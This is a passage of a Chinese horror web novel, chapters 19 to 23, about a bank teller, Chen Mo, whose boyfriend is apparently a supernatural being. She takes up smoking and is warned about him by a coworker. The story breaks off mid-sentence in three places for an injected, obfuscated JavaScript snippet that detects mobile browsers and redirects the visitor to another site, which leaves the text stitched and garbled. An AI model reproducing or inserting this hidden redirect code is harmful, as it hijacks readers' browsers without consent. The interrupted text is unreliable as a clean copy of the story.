她只知道,从今晚开始,她又要开始数三十秒了。 十一 那一夜,陈默又没睡。 她睁着眼,看着天花板,一直到天亮。 王志强在旁边,睡着。 呼吸均匀。 和正常人一样。 但不一样了。 什么都不一样了。 天亮的时候,她坐起来,下床,走到窗边。 拉开窗帘。 外面是灰蒙蒙的天,阴天,可能要下雪。 她站在窗边,看着那个灰白的世界。 脑子里反复想着一件事。 王志强也有规则。 他的规则是什么? 不能让她提分手? 必须在三天内让她不提分手? 还是别的什么? 她不知道。 但她知道,她必须弄清楚。 因为规则,是唯一的线索。 唯一的武器。 如果他能遵守规则,那规则也能约束他。 她必须找到他的规则。 然后—— 利用它。 --- 第十九章完 20. 第二十章 黑暗中的眼睛 第二十章黑暗中的眼睛 一 凌晨一点。 陈默躺在床上,没有睡。 她已经习惯了不睡。 自从那天之后,她每天晚上都睁着眼,盯着天花板,听客厅里的动静。 今晚也一样。 窗帘没拉严,外面的路灯透进来一点光,把天花板照成灰白色。她盯着那片灰白,一动不动。 王志强还没回来。 他说过今晚有局,她没问是什么局,没问和谁,没问几点回来。 不问,已经成了习惯。 客厅里很安静。只有冰箱偶尔启动的嗡嗡声,和窗外远处传来的汽车声。 她听着那些声音,脑子里空空的。 不知道过了多久,门响了。 钥匙捅进锁孔的声音,拧开,推开。 然后—— 没有脚步声。 陈默浑身一僵。 她听见门开了,听见门关上了,但没听见脚步声。 什么都没有。 就像进来的是一个没有脚的东西。 她躺在床上,一动不动。 眼睛盯着天花板,耳朵竖起来,听客厅里的动静。 没有声音。 什么都没有。 他站在那儿?还是坐下了?还是根本不在那儿? 她不知道。 她只听见自己的心跳,咚,咚,咚,越来越响。 二 不知道过了多久——可能是一分钟,可能是五分钟,可能是十分钟——客厅里始终没有声音。 陈默慢慢坐起来。 她看着卧室门。 门开着一条缝,她睡觉时习惯留一条缝,让客厅的光透进来一点。 但现在,那条缝是黑的。 客厅里没开灯。 他回来的时候没开灯。 她咽了口口水,喉咙里干得发疼。 然后她下床了。 光着脚,一步一步,走到卧室门口。 站在那儿,往外看。 客厅里一片漆黑。 窗帘拉得严严实实,一点光都透不进来。路灯被挡在外面,什么都看不见。 但她看见了两只眼睛。 发光的眼睛。 在门口的黑暗里。 他就站在那儿。 进门的地方。 没开灯,没动,没发出任何声音。 就站在那儿。 那两只眼睛,亮得出奇。 比之前任何时候都亮。 像两个小灯泡,嵌在黑暗里。 陈默站在卧室门口,看着那两只眼睛。 那两只眼睛也看着她。 谁都没动。 谁都没说话。 三 然后,他开始抖动了。 不是身体在抖。 是别的。 是他的轮廓开始模糊,开始变形,开始在黑暗里扭曲。 陈默眨了一下眼。 再睁开的时候,整个屋子—— 伸手不见五指。 不是那种“关了灯的黑”,是那种什么都看不见的黑,像被什么东西蒙住了眼睛,像被埋进了土里,像沉到了最深的海底。 一点光都没有。 连那两只眼睛,都消失了。 陈默站在原地,不敢动。 但她知道,他动了。 她感觉到的。 空气在流动。 有什么东西,在黑暗里朝她移动。 她不知道他从哪个方向来。 不知道他离她多远。 不知道他想干什么。 她只能站在原地,浑身发抖。 四 空气越来越冷。 不是温度的那种冷,是从骨头里往外渗的那种冷。 陈默感觉自己的手在抖,腿在抖,全身都在抖。 她想跑,但不知道该往哪儿跑。 四周全是黑暗,没有方向,没有边界。 她甚至不知道自己是不是还站在卧室门口。 也许她已经不在那儿了。 也许她被移动了。 也许—— 一只冰凉的手,碰到了她的脸。 从左边。 陈默想尖叫,但喉咙里发不出声音。 那只手在她脸上慢慢移动。 从脸颊到下巴,从下巴到脖子,从脖子到锁骨。 凉的。 刺骨的凉。 像刚从冰柜里拿出来的东西。 像死人的手。 那只手在她锁骨上停了一下,然后开始往上移。 移回下巴,移回脸颊,移到眼睛。 那只手停在她眼睛上。 凉的指尖,压在她的眼皮上。 她闭上眼。 但那凉,透过眼皮,渗进眼珠里。 然后那只手松开了。 黑暗里,传来一个声音。 很近。 就在她耳边。 “陈默。” 那个声音,是他的。 但又不像是他的。 像是从很深很深的地方传上来的,像从一个已经烂掉的喉咙里挤出来的。 她没应。 “陈默。” 又叫了一遍。 她张了张嘴,想应,但发不出声音。 然后那只手又来了。 这次是掐住她的脖子。 凉的,紧的,一点一点收紧。 她喘不过气来。 她想挣扎,但手脚不听使唤。 她想喊,但喊不出来。 黑暗越来越重,压在她身上,压在她眼睛里,压在她脑子里。 然后—— 什么都没有了。 五 陈默醒来的时候,天已经亮了。 阳光从窗帘缝里漏进来,照在她脸上。 她躺在床上。 被子盖得好好的,枕头在头下面,睡衣穿得整整齐齐。 就像昨天晚上什么都没发生过。 她慢慢转过头。 王志强的位置是空的。 被子叠好了,枕头摆正了。 就像他从来没回来过。 她坐起来,看着那个空的位置。 看了很久。 然后她低头看自己的手。 手在抖。 她把那只手按在腿上,按住。 不抖。 再松开。 还在抖。 她站起来,走到镜子前。 镜子里的自己,眼袋更黑了,脸色更灰了,眼睛下面两个深深的坑。 她盯着那双眼睛。 那点亮,还在。 比昨天更亮了。 她抬起手,摸了摸自己的脸。 皮肤上,还有一点凉。 不是心理作用,是真的凉。 那刺骨的凉,还留在她脸上。 她摸过的地方,都是凉的。 左边脸颊,下巴,脖子,锁骨。 还有眼皮。 她闭上眼,用手指碰了碰眼皮。 凉的。 那只手碰过的地方,都凉。 洗不掉,搓不掉,暖不热。 就像那凉已经渗进皮肤里了。 六 陈默站在镜子前,站了很久。 然后她打开水龙头,用热水洗脸。 水很热,烫得皮肤发红。 但洗完之后,一摸,还是凉的。 那个凉,在皮肤底下。 她关上水龙头,看着镜子里的自己。 那张脸,越来越陌生了。 那双眼睛,越来越不像她了。 她不知道自己还能撑多久。 但她知道,她必须去上班。 生活还要继续。 不上班,就没钱。 没钱,就更跑不掉。 她擦干脸,换了衣服,拿起包,出门。 七 电梯下行的时候,她靠着电梯壁,闭着眼。 脑子里全是昨晚的事。 那两只发光的眼睛。 那片伸手不见五指的黑暗。 那只凉的手。 那个掐住她脖子的瞬间。 她摸了摸自己的脖子。 没有勒痕,没有红印,什么都没有。 但那种被掐住的感觉,还在。 像那双手还放在那儿。 电梯门开了。 她睁开眼,走出去。 外面阳光很好,冬天的阳光,照在身上暖洋洋的。 但她觉得冷。 从里到外的冷。 她走进地铁站,刷卡,进站,等车。 周围的人来来往往,有人跑着赶车,有人低头看手机,有人戴着耳机听歌。 很正常的世界。 她站在人群里,觉得自己像个鬼。 一个还没死透的鬼。 八 到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387632|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银行的时候,老张正在门口抽烟。 看见她,他愣了一下。 “陈默,你脸色怎么这么差?” 陈默摇摇头。 “没事,没睡好。” 老张看着她,想说什么,又咽回去。 最后只是叹了口气。 “进去吧,周行长刚才还问你。” 陈默点点头,走进去。 换工装,坐到工位上,打开电脑。 屏幕亮起来的那一刻,她愣了一下。 屏幕上有一行字,是系统提示。 “您有新的待办事项。” 她点开。 是一条内部消息。 周行长发的。 “对公户的事,今天给我答复。” 她盯着那行字,看了很久。 对公户。 王志强的公司,要在她们行开户。 她一直拖着没办。 现在周行长催了。 她该怎么办? 九 一整天,陈默都心不在焉。 办错了两笔业务,被客户骂了一顿。老张在旁边打圆场,才没闹大。 中午休息的时候,她一个人坐在食堂角落,盯着餐盘发呆。 餐盘里的饭,一口没动。 老张坐过来。 “陈默。” 她抬起头。 老张看着她,表情复杂。 “有些话,我不知道该不该说。” 陈默没说话。 老张犹豫了一下,还是开口了。 “你那个男朋友……我见过几次。” 陈默看着他。 老张移开目光。 “他……不太对劲。” 陈默攥紧手指。 “什么意思?” 老张摇摇头。 “说不上来。就是……不太对劲。” 他站起来,拍了拍她的肩膀。 “你自己小心点。” 他走了。 陈默坐在那儿,盯着他的背影。 老张看出来了。 连老张都看出来了。 十 晚上下班,陈默站在银行门口,看着外面的天。 天已经黑了,路灯亮着,街上人来人往。 她不想回家。 那个家,有他在。 那个黑暗里的眼睛。 那只凉的手。 那片伸手不见五指的黑暗。 她不想回去。 但她必须回去。 她没地方去。 她站了很久。 然后她深吸一口气,往地铁站走。 十一 到家的时候,屋里开着灯。 王志强坐在沙发上,看电视。 和平时一样。 他看见她进来,笑了一下。 “回来了?” 陈默点点头。 “嗯。” 她换鞋,放下包,走进卧室。 躺在床上,盯着天花板。 过了一会儿,他进来了。 走到床边,坐下。 床垫陷下去,她的身体跟着歪了一下。 他伸出手,放在她脸上。 凉的。 和昨晚一样凉。 “今天怎么样?”他问。 陈默看着他。 那两只眼睛,在灯光下,不发光了。 很正常。 就像昨天晚上什么都没发生过一样。 她张了张嘴。 “还行。” 他笑了。 那个笑,和平时一样。 然后他站起来,走出去。 陈默躺在床上,盯着天花板。 脸上那个凉,还在。 她知道,那一切都是真的。 她没做梦。 王志强回来过。 站在黑暗里。 那两只眼睛亮得出奇。 那片伸手不见五指的黑暗。 那只凉的手。 那个掐住她脖子的瞬间。 都是真的。 她抬起手,摸了摸自己的脖子。 凉的。 和脸上一样凉。 她闭上眼。 明天,还要上班。 后天,还要上班。 以后,每天都要上班。 她必须撑下去。 必须。 --- 第二十章完 21. 第二十一章 第一次抽烟 第二十一章第一次抽烟 一 早上九点四十七分,陈默办到当天第六笔业务。 客户是个中年女人,烫着卷发,涂着红指甲,说话声音很大。她要挂失补办一张卡,她说卡昨天还在包里,今天就找不到了。 陈默帮她查了系统,告诉她可以挂失。输入密码时女人连续按错了三次,变得暴躁起来,陈默告诉女人可以先办理密码延时重置,七天后使用新密码领卡。 女人不干了。 “七天?!我急用钱,七天黄花菜都凉了!” 陈默解释,这是规定,她也没办法。 女人开始骂人。 “你们银行就这服务?我存钱的时候怎么不说要等七天?我要取钱了就跟我说规定?” 陈默听着,脑子里却想着别的事。 老张昨天那句话,一直在她脑子里转。 “他……不太对劲。” 不太对劲。 老张看出来了。 老张一个外人,见过几次,就看出来了。 她和他住了三年,同居三年,睡在一张床上三年。 她为什么现在才看出来? 不,她看出来了。 那张纸条,那发光的眼睛,那些虫子,那个味道,那片黑暗,那只凉的手—— 她都看见了。 但她还是留下了。 为什么? 她不知道。 “喂!你听没听我说话?” 女人的声音把她拉回来。 陈默愣了一下。 “对不起,您说——” “我说什么说!你根本没听!”女人一拍柜台,“叫你们领导来!叫你们行长来!” 陈默张了张嘴,想解释。 但她突然觉得很累。 解释什么? 解释她刚才走神了,在想她那个不是人的男朋友? 解释她被骂了三年,已经不知道该有什么反应了? 解释她昨晚刚被一只凉的手掐过脖子,今天还要来上班? 她什么都没说。 就坐在那儿,看着那个女人骂。 二 女人骂了五分钟。 老周在旁边劝,劝不住。 其他客户在看热闹,有人拿手机录像。 陈默坐在那儿,一动不动。 然后她听见一个声音。 “咚咚咚。” 是敲玻璃的声音。 她转头看。 周行长站在柜台外面,正在敲她的玻璃窗。 脸上没什么表情。 但那个眼神,陈默认识。 完了。 她站起来。 “周行长——” 周行长没理她,转身走了。 陈默看着她的背影,心里一沉。 三 两分钟后,防尾行门开了。 周行长从里面走出来,径直走到陈默的工位旁边。 所有人都看着。 客户不骂了,老周不劝了,其他柜员都低着头,假装在忙,但耳朵都竖着。 周行长站在陈默面前。 “陈默。” 陈默站起来。 “周行长。” 周行长看着她,看了三秒。 然后她开口了。 声音不大,但整个大厅都听得见。 “你在干什么?” 陈默没说话。 “客户在跟你说话,你在干什么?” 还是没说话。 “走神?发呆?想什么呢?” 陈默低下头。 周行长往前走了一步。 “陈默,你在银行干五年了。五年,还是柜员。你知道为什么吗?” 陈默攥紧手指。 “因为你不行。” 这三个字,砸在她脸上。 “业务办不好,客户维护不好,指标完不成。让你拉个对公户,拉半年了,还在拖。让你好好服务客户,你当着所有人的面走神。你说你行在哪儿?” 陈默低着头,盯着地板。 地板是白的,拖得很干净,能照出人影。 她看见自己的影子,模模糊糊的。 “我今天把话撂这儿。”周行长的声音还在继续,“那个对公户,月底之前必须开过来。开不过来,你自己看着办。” 她转身走了。 防尾行门在她身后关上,发出“砰”的一声。 整个大厅安静得能听见针掉在地上的声音。 陈默站在原地,一动不动。 客户那个女人,现在也不骂了,就看着她,脸上带着一种奇怪的表情。是同情?是幸灾乐祸?她分不清。 老周走过来,轻轻的敲了敲她的玻璃。 “陈默,先坐下。” 她坐下。 机械地叫号。 下一个客户走过来,递进单子。 她接过,办理,盖章,递回。 下一个。 再下一个。 再下一个。 一直到中午。 四 中午休息,陈默没去食堂。 她一个人走到消防通道,推开门,走进去。 楼梯间里很安静。只有应急灯亮着,发着惨白的光。 她在台阶上坐下。 坐了很久。 然后她掏出手机,打开微信。 王志强的对话框,最后一条消息还是昨天。 她没回。 她也不想回。 她把手机放下,靠着墙,闭着眼。 脑子里乱糟糟的。 周行长的话,一遍一遍地响。 “你不行。” “五年了,还是柜员。” “开不过来,你自己看着办。” 自己看着办。 她能怎么办? 对公户,是王志强的公司。 王志强,是那个东西。 她怎么开口? 她敢开口吗? 她不知道。 她坐了很久。 然后她站起来,走到楼梯间外面的小阳台。 小阳台是放杂物的地方,堆着几个纸箱,一盆快枯死的绿萝,还有一个烟灰缸。 烟灰缸里有几个烟头。 她盯着那些烟头,盯了很久。 然后她从口袋里掏出一包烟。 那是早上在地铁站门口的便利店买的。她也不知道为什么要买,就是路过的时候,看了一眼柜台,鬼使神差地掏了钱。 她从来没抽过烟。 二十五岁之前,她是个好女孩,不抽烟,不喝酒,不晚归。 二十五岁之后,她和王志强在一起,更没机会抽烟。他不喜欢女人抽烟。 但现在,她坐在这个堆满杂物的小阳台上,手里拿着一包烟。 她拆开包装,抽出一根。 放进嘴里。 用打火机点。 打火机是买烟的时候送的,一块钱一个,塑料的,很轻。 她按了几下,才点着。 烟头亮了。 她吸了一口。 然后她呛住了。 烟钻进喉咙里,辣得她剧烈地咳嗽。眼泪一下子涌出来,顺着脸颊往下流。 她弯着腰,咳了好一会儿。 咳完了,她直起腰,看着手里的烟。 那根烟还在燃着,细细的白烟往上飘。 她看着那缕烟,慢慢升起来,散开,消失在空气里。 无影无踪。 五 她又吸了一口。 这次好一点,没那么呛了。 但还是辣,还是难受。 烟进到肺里,热热的,像火烧一样。 她忍着,慢慢吐出来。 白烟从她嘴里飘出来,在空气里打着旋儿,然后散开。 她看着那缕烟,出了神。 烟是什么? 是烟草烧出来的灰。 点着了,烧一会儿,就没了。 没烧的时候,它是一根,规规矩矩地躺在烟盒里。 烧起来之后,它就没了。 变成灰,变成烟。 灰落在地上,被扫走。 烟飘到空气里,消失不见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387633|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 什么都没有留下。 她突然觉得自己和这根烟一样。 烧着,烧着,一点一点地烧。 燃烧自己的生命,换一点光和热。 然后呢? 然后没了。 灰被扫走,烟飘散。 什么都没留下。 她不知道归宿在哪里。 没地方去。 没人在乎。 她就是一缕烟,飘在空气里,等着散开。 六 眼泪又流下来了。 不是呛的,是真的想哭。 她用手背擦了擦,但擦不完。 越擦越多。 她低下头,把脸埋在膝盖里,无声地哭。 肩膀一抖一抖的。 烟还夹在手里,燃着,烧到手指了,烫了一下。 她抬起头,看着那根烟。 已经烧了一半了。 烟灰垂着,要掉不掉。 她把烟灰弹掉,又吸了一口。 这一次,没那么辣了。 甚至有点……舒服? 那种晕晕的感觉,让她什么都不用想。 就坐着,抽烟,看烟飘起来。 挺好。 七 一根烟抽完,她把烟头按进烟灰缸里。 站起来,看着外面。 小阳台外面是停车场,停着几辆车。有人在车旁边抽烟,有人在打电话,有人在往这边看。 她不知道那些人看见她没有。 看见了也无所谓。 反正她不在乎了。 她站了一会儿,然后转身,推开门,走进楼梯间。 下楼,回到工位。 下午的班,还要继续。 八 下午五点四十,陈默下班。 她没直接回家,在地铁站旁边的便利店门口站了一会儿。 买了一瓶水,一个面包,还有一包烟。 这次是第二包。 她站在便利店门口,把面包吃了,水喝了。 然后拆开烟,点了一根。 就在那儿抽。 路过的人看她一眼,走开。 她不在乎。 抽完,把烟头扔进垃圾桶。 然后走进地铁站。 回家。 九 到家的时候,天已经黑了。 屋里开着灯。 王志强坐在沙发上,看电视。 他看见她进来,笑了一下。 “回来了?” 陈默点点头。 “嗯。” 她换鞋,放下包,走进卧室。 躺在床上,盯着天花板。 过了一会儿,他进来了。 走到床边,坐下。 床垫陷下去。 他看着她。 “今天怎么这么晚?” 陈默没说话。 他伸出手,放在她脸上。 凉的。 还是凉的。 她没躲。 躲不掉。 那只手在她脸上摸了一会儿,然后收回去。 “抽烟了?”他问。 陈默愣了一下。 他怎么知道? 他没解释。 只是笑了。 那个笑,和平时一样。 “学会抽烟了。”他说,“挺好。” 挺好? 什么意思? 她不知道。 他站起来,走出去。 陈默躺在床上,盯着天花板。 脸上那个凉,还在。 嘴里那个烟味,还在。 她闭上眼。 明天,还要上班。 后天,还要上班。 以后,每天都要上班。 还要抽烟。 还要面对他。 还要撑下去。 撑到什么时候? 她不知道。 她只知道,她现在是一根烟。 烧着,烧着,不知道什么时候就烧完了。 --- 第二十一章完 22. 第二十二章 老张的警告 第二十二章老张的警告 一 那包烟,陈默抽了三天。 第一天呛得流泪,第二天好一点,第三天已经习惯了。她学会怎么吸进去,怎么吐出来,怎么让烟在肺里转一圈再慢慢散开。 抽烟的时候,什么都不用想。 就看着那缕白烟飘起来,散开,消失。 挺好。 第四天中午,她又坐在消防通道的楼梯间里抽烟。 应急灯发着惨白的光,照在她身上。她靠着墙,一条腿伸直,一条腿弯着,手搭在膝盖上,指间夹着烟。 烟灰垂下来,她弹掉。 又吸一口。 吐出来。 白烟在灯光下打着旋儿。 楼梯间的门突然开了。 陈默一愣,抬起头。 老张站在门口。 他看着她,又看着她手里的烟,表情有点复杂。 “你……” 陈默没说话。 老张走进来,把门关上。 他走到她旁边,在台阶上坐下。 “什么时候学会的?” 陈默吸了一口烟。 “前几天。” 老张看着她,没说话。 她也没说话。 两个人就这么坐着,一个抽烟,一个看她抽。 过了一会儿,老张开口了。 “陈默,我想跟你说点事。” 陈默转头看他。 老张的表情很认真,和平时那个懒洋洋的保安不一样。 “什么事?” 老张犹豫了一下。 “你那个男朋友……” 陈默的手顿了一下。 “他怎么了?” 老张看着她,眼神有点躲闪。 “我不知道该不该说。但我总觉得……不太对。” 陈默没说话。 老张继续说。 “上周,我在小区门口碰见过他一次。晚上,快十二点了。” 陈默等着。 “他站在那儿,没动。就站在小区门口,看着里面。” 老张皱起眉头。 “我开车路过,看见他了。本想打个招呼,但他没看见我。他就那么站着,一动不动的,站了很久。” 他顿了顿。 “我开过去之后,从后视镜看了一眼。你知道我看见了什么吗?” 陈默摇头。 老张的声音低下去。 “他不见了。” 陈默攥紧手指。 “不是走开的,是不见了。就一秒钟,刚才还在那儿,下一秒就没了。” 他看着她。 “你说,正常人能这样吗?” 陈默没说话。 老张叹了口气。 “我知道你可能不信。我自己都不信。但那天晚上,我亲眼看见的。” 他站起来。 “我就是想告诉你,小心点。那个人……不太对劲。” 他走到门口,回头看了她一眼。 “你是个好姑娘,别把自己毁了。” 门关上了。 陈默坐在那儿,手里的烟烧到了手指。 她没感觉。 二 下午的班,陈默更心不在焉了。 办错了一笔业务,被客户说了几句。她道歉,重办,脸上没什么表情。 老张在门口站着,时不时看她一眼。 那眼神,陈默知道。 他在担心她。 但她不知道该怎么回应。 说谢谢? 说她早就知道了? 说她男朋友不是人? 她什么都不能说。 只能继续办业务,继续盖章,继续叫下一个号。 三 晚上下班,陈默没直接回家。 她在地铁站旁边的便利店门口站了一会儿,买了一瓶水,一个面包,一包烟。 第三包了。 她站在那儿,把面包吃了,水喝了。 然后点了一根烟,靠在墙上抽。 冬天的风很冷,吹得她直哆嗦。但抽着烟,好像就不那么冷了。 也许是心理作用。 她抽着烟,看着街上的车来车往。 脑子里想着老张的话。 “他不见了。” “就一秒钟,刚才还在那儿,下一秒就没了。” 她见过。 那天晚上,他站在黑暗里,眼睛亮得出奇。然后整个屋子就黑了,什么都看不见。 后来她晕过去了。 再醒来,他就不见了。 不,不是不见了。 是……消失了? 她不知道。 她只知道,他确实不正常。 她早就知道了。 四 抽完烟,她把烟头扔进垃圾桶,走进地铁站。 晚高峰,人很多。她被挤在车门旁边,一只手拉着扶手,一只手护着包。 车窗外的隧道灯一盏一盏往后闪。 她看着那些光,突然想起一个问题。 老张看见他的那天晚上,是上周。 上周的哪天? 她想了想。 应该是他出差那十八天里的事。 那时候他不在家。 他说出差了。 但老张在小区门口看见他了。 半夜十二点,站在小区门口,看着里面。 他在看什么? 看她? 看那个家? 还是看别的什么? 她不知道。 但她知道,他没出差。 他一直都在。 在某个地方,看着她。 五 到家的时候,屋里开着灯。 王志强坐在沙发上,看电视。 和平时一样。 他看见她进来,笑了一下。 “回来了?” 陈默点点头。 “嗯。” 她换鞋,放下包,走进卧室。 躺在床上,盯着天花板。 过了一会儿,他进来了。 走到床边,坐下。 床垫陷下去。 他看着她。 “今天怎么这么晚?” “加班。” 他点点头。 然后他伸出手,放在她脸上。 凉的。 还是凉的。 那只手在她脸上慢慢移动,从额头到眼睛,从眼睛到鼻子,从鼻子到嘴巴。 和平时一样。 她没躲。 躲不掉。 那只手在她脸上摸了一会儿,然后收回去。 “抽烟了?”他问。 陈默没说话。 他笑了。 “抽得越来越多了。” 他知道。 他一直都知道。 她抽了多少根,在哪儿抽的,什么时候抽的——他都知道。 她没问他是怎么知道的。 问了也没用。 他不会说真话。 就算说了,她也不敢信。 六 那天晚上,陈默又失眠了。 她躺在床上,睁着眼,盯着天花板。 王志强在旁边,睡着,呼吸均匀。 那股味道,越来越浓了。 她已经习惯了那个味道。或者说,她的鼻子已经闻不出来了。 但她知道它还在。 越来越浓。 她慢慢转过头,看他的脸。 黑暗里,那张脸,很平静。 没有发光,没有虫子,什么都没有。 但那个轮廓,看着看着,总觉得有点不对。 不是不对。 是……在变。 一点点地变。 她盯着那个轮廓,盯了很久。 然后她闭上眼睛。 不敢再看。 七 早上,陈默起床的时候,王志强已经不在了。 她洗漱,换衣服,化妆。 镜子里的自己,眼袋更黑了,脸色更灰了。 那双眼睛里的亮,还在。 越来越亮。 她盯着那双眼睛,看了很久。 然后她低下头,继续化妆。 遮瑕盖了三层,才把眼袋盖住。 粉底涂了两层,脸色才不那么灰。 口红涂上,看起来精神一点。 但那双眼睛,盖不住。 那点亮,就在眼眶里,怎么也盖不住。 她放下化妆刷,盯着镜子里的自己。 那个人,越来越陌生了。 八 到银行的时候,老张正在门口抽烟。 看见她,他愣了一下。 “陈默。” 她走过去。 老张看着她,表情复杂。 “你昨晚……没睡好?” 陈默点点头。 “嗯。” 老张想说什么,又咽回去。 最后只是叹了口气。 “进去吧,周行长刚才还问起你。” 陈默点点头,走进去。 换工装,坐到工位上,打开电脑。 屏幕亮起来的那一刻,她看见屏幕上有一条内部消息。 周行长发的。 “陈默,来我办公室一趟。” 她盯着那行字,看了三秒。 然后站起来,走过去。 九 行长办公室里,周行长坐在办公桌后面,正在看什么文件。 陈默敲门。 “进来。” 她走进去,站在办公桌前。 周行长抬起头,看着她。 那一眼,有点长。 “陈默,你最近怎么回事?” 陈默没说话。 周行长靠到椅背上。 “业绩下滑,客户投诉,上班走神——你自己说说,你这段时间在干什么?” 陈默低着头,盯着桌面。 “周行长,我……” “你别说话,听我说。”周行长打断她。 陈默闭上嘴。 周行长看着她,表情严肃。 “陈默,你在银行干了五年了。五年,说长不长,说短不短。你的业务能力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387634|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我知道,没问题。但你这个人——太闷了。” 陈默攥紧手指。 “客户需要的是热情,是服务,是会来事的人。你呢?你就知道办业务,办完就下一个。你让客户怎么记住你?” 周行长顿了顿。 “还有那个对公户。我跟你说过多少次了?月底之前必须开过来。现在还有几天?你自己算算。” 陈默低着头,没说话。 周行长叹了口气。 “陈默,我不是要为难你。我是为你好。你知道现在外面多少人想进银行吗?你知道你这个位置多少人盯着吗?” 她站起来,走到陈默面前。 “你要是还想干,就给我打起精神来。那个对公户,赶紧办好。办好了,你还能留下来。办不好——” 她没说完。 但陈默知道她想说什么。 办不好,就走人。 十 从行长办公室出来,陈默站在走廊里,靠着墙。 脑子里一片空白。 对公户。 又是对公户。 她怎么开口? 她怎么跟王志强说? 她敢说吗? 她不知道。 她只知道,如果办不好,她连这份工作都没了。 没了工作,她怎么办? 没钱,没地方去,没人在乎。 她就真的是一根烟了。 烧完就没了。 她站了很久。 然后她掏出手机,打开王志强的对话框。 打了一行字: “你那个对公户,什么时候能办?” 盯着看。 删掉。 又打: “周行长又催了。” 盯着看。 删掉。 又打: “今晚早点回来,有事跟你说。” 盯着看。 三秒。 五秒。 十秒。 发送。 屏幕显示发送成功的那一刻,她把手机塞进口袋。 然后转身,走回工位。 继续办业务。 继续叫号。 继续盖章。 像什么都没发生过一样。 十一 晚上下班,陈默回到家。 屋里开着灯。 王志强坐在沙发上,看电视。 他看见她进来,笑了一下。 “回来了?” 陈默点点头。 “嗯。” 她换鞋,放下包,走到沙发前。 站在他面前。 他抬头看她。 “怎么了?” 陈默张了张嘴。 “那个对公户……什么时候能办?” 王志强看着她,没说话。 那两只眼睛,在灯光下,有一点发亮。 “周行长催了。”她说,“月底之前必须办好。” 王志强还是没说话。 就那么看着她。 看了很久。 然后他笑了。 那个笑,和平时一样。 “行。”他说,“明天办。” 陈默愣了一下。 “明天?” “嗯。明天上午,我去你们行。” 她看着他,不敢相信。 就这么简单? 他答应了? “怎么了?”他问,“不是你要办的吗?” 陈默摇摇头。 “没……没事。” 她转身,走进卧室。 躺在床上,盯着天花板。 脑子里乱成一团。 他答应了。 明天就去办。 为什么? 他真的想帮她? 还是……有什么别的原因? 她不知道。 但她知道,从明天开始,那个对公户就开好了。 周行长不会再说她了。 她能留下来了。 然后呢? 然后……就这样过下去? 她不知道。 她只知道,她现在睡不着。 十二 那一夜,陈默又没睡。 她躺在床上,睁着眼,盯着天花板。 王志强在旁边,睡着,呼吸均匀。 那股味道,越来越浓。 她转过头,看他的脸。 黑暗里,那张脸,很平静。 但她知道,那不是平静。 是别的。 是等。 等她。 等什么? 等她说分手? 等她逃跑? 等她死? 她不知道。 但她知道,她必须撑下去。 撑到明天。 撑到对公户办好。 撑到周行长满意。 撑到……不知道什么时候。 她闭上眼。 黑暗里,那双发光的眼睛,一直在那儿。 看着她。 等她。 --- 第二十二章完 23. 第二十三章 老张失踪了 第二十三章开户 一 老张说完那些话的第二天,王志强来银行了。 陈默记得那天早上出门的时候,他还躺在床上,迷迷糊糊地问她“今天几号”。她说了日期,他“嗯”了一声,翻个身继续睡。 她没多想。 九点半,她正在给一个客户办定期转存,老周从门口走过来,轻轻敲了敲她的柜台玻璃。 “陈默,你男朋友来了。” 她愣了一下,抬起头。 王志强站在大厅里,穿着那件深灰色的夹克,手里拎着一个文件袋。他正和周行长说话,周行长笑得眼睛都眯起来了,不停地点头。 陈默看着那个画面,有点恍惚。 周行长平时对她什么样,她太清楚了。说话从来不超过三句,眼神从来不超过两秒,语气从来不超过一个调。但此刻,她站在王志强面前,笑得像见了亲兄弟,眼角的鱼尾纹和老面馒头一样裂开。 “王总,您亲自来了?坐坐坐,这边请。” 王总。 陈默从来没听过周行长叫谁“总”叫得这么顺口。 王志强笑着摆摆手。 “周行长客气了,就开个户,小事。” “那怎么行?您这种大客户,我必须亲自接待。” 周行长把他往VIP室引,路过陈默窗口的时候,王志强停下来,往里看了一眼。 陈默和他对视了一秒。 他笑了一下,什么都没说,跟着周行长走了。 二 VIP室的门关上了。 陈默坐在工位上,盯着那扇门,脑子里有点乱。 王志强来开户。 就是那个她催了无数次的“对公户”。 周行长亲自接待。 笑得眼睛都眯起来。 她想继续办业务,但手有点抖。 叫号,下一个。 客户走过来,递进单子。 她接过,办理,盖章,递回。 下一个。 再下一个。 眼睛却总往VIP室那边飘。 那扇门一直关着。 三 大概二十分钟后,门开了。 周行长先走出来,脸上挂着那种陈默从来没见过的笑——殷勤的,谄媚的,甚至有点巴结的。 “王总,您慢走,以后有什么需要随时找我。” 王志强跟在后面,手里拎着那个文件袋,表情和平时一样。 